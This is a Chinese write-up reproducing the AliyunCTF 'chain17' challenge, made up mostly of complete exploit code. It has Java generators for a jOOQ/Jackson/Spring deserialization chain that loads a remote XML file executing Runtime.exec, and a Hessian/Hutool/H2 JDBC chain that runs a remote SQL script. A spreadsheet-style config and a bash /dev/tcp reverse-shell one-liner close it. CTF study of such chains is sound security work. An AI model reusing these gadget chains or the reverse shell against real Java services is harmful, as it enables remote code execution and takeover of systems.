第二届AliyunCTF chain17复现
分析
这题给了一个客户端client和一个服务端server
server端就一个jooq依赖,一个read路由的反序列化点
client端有hessian,hutool,h2依赖1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>
还有一个Bean类:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60package com.aliyunctf.agent.other;
import cn.hutool.core.io.resource.ResourceUtil;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
/* loaded from: Bean.class */
public class Bean implements Serializable {
byte[] data;
public void setData(byte[] data) {
this.data = data;
}
public Object getObject() throws Exception {
return new BeanInputStream(new ByteArrayInputStream(this.data)).readObject();
}
/* loaded from: Bean$BeanInputStream.class */
static class BeanInputStream extends ObjectInputStream {
static List<String> blackList;
static {
blackList = new ArrayList();
try {
blackList = new ArrayList(List.of("org.h2.", "com.fasterxml."));
blackList.addAll(Arrays.asList(ResourceUtil.readUtf8Str("blacklist.txt").split("[\\n\\r]+")).stream().filter(l -> {
return !l.startsWith("#");
}).map(l -> {
return l.strip();
}).toList());
} catch (Exception e) {
e.printStackTrace();
}
}
public BeanInputStream(InputStream s) throws IOException {
super(s);
}
// java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
List<String> rules = blackList.stream().filter(l -> {
return desc.getName().startsWith(l);
}).toList();
if (rules.isEmpty()) {
return super.resolveClass(desc);
}
throw new RuntimeException("%s matches blacklist rules: %s".formatted(new Object[]{desc.getName(), String.join(",", rules)}));
}
}
}
里面的getObject可以二次反序列化,还有一个黑名单来匹配我们传入的数据
我们的目的是通过客户端h2 JDBC来SSRF打服务端/read路由执行命令
server
1 | EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init> |
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;
// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class exp2 {
public static void main(String[] args) throws Exception {
gen("http://localhost:8000/poc.xml");
}
public static void gen(String url) throws Exception{
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();
Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);
Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);
Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);
Object value = url;
Class type = ClassPathXmlApplicationContext.class;
ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("C:\\Users\\30779\\Desktop\\共享\\chain17\\chain17\\agent\\agent\\BOOT-INF\\lib\\jackson-databind-2.15.3.jar");
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode pojoNode = new POJONode(convertedVal);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
byte[] data = SerializeUtil.serialize(eventListenerList);
System.out.println(Base64.getEncoder().encodeToString(data));
}
}
- 这里的classPool.appendClassPath(…)是为了防止javassist的not found 报错
- 运行配置需要加VM options:
poc.xml1
2
3
4
5
6
7
8
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
</bean>
</beans>
client
官方wp,链子是:1
JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;
// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
public class exp1 {
public static void main(String[] args) throws Exception {
gen("runscript from 'http://10.23.124.115:8000/localhost.sql'");
}
public static void gen(String sql) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");
String url = String.format("jdbc:h2:mem:test;init=%s", sql);
Setting setting = new Setting();
setting.put("url", url);
setting.put("initialSize", "1");
setting.setCharset(null);
Unsafe unsafe = (Unsafe) ReflectUtil.getFieldValue(null, ReflectUtil.getField(Unsafe.class, "theUnsafe"));
PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
ReflectUtil.setFieldValue(pooledDSFactory, "dataSourceName", PooledDSFactory.DS_NAME);
ReflectUtil.setFieldValue(pooledDSFactory, "setting", setting);
ReflectUtil.setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>());
Bean bean = new Bean();
bean.setData(SerializeUtil.serialize(pooledDSFactory));
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("C:\\Users\\30779\\Desktop\\共享\\chain17\\chain17\\agent\\agent\\BOOT-INF\\lib\\jackson-databind-2.15.3.jar");
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode pojoNode = new POJONode(bean);
Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
hessian2Output.close();
byte[] data = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(data));
}
}
Hessian反序列化Map的时候会调用Map.put
去调用AtomicReference.toString
然后是POJONode.toString
一直走,走到 Bean.getObject
调到DSFactory.getDataSource
命令改成反弹shell:1
bash -c {echo,bash -i >& /dev/tcp/xx/xx 0>&1的base64编码}|{base64,-d}|{bash,-i}
成功反弹shell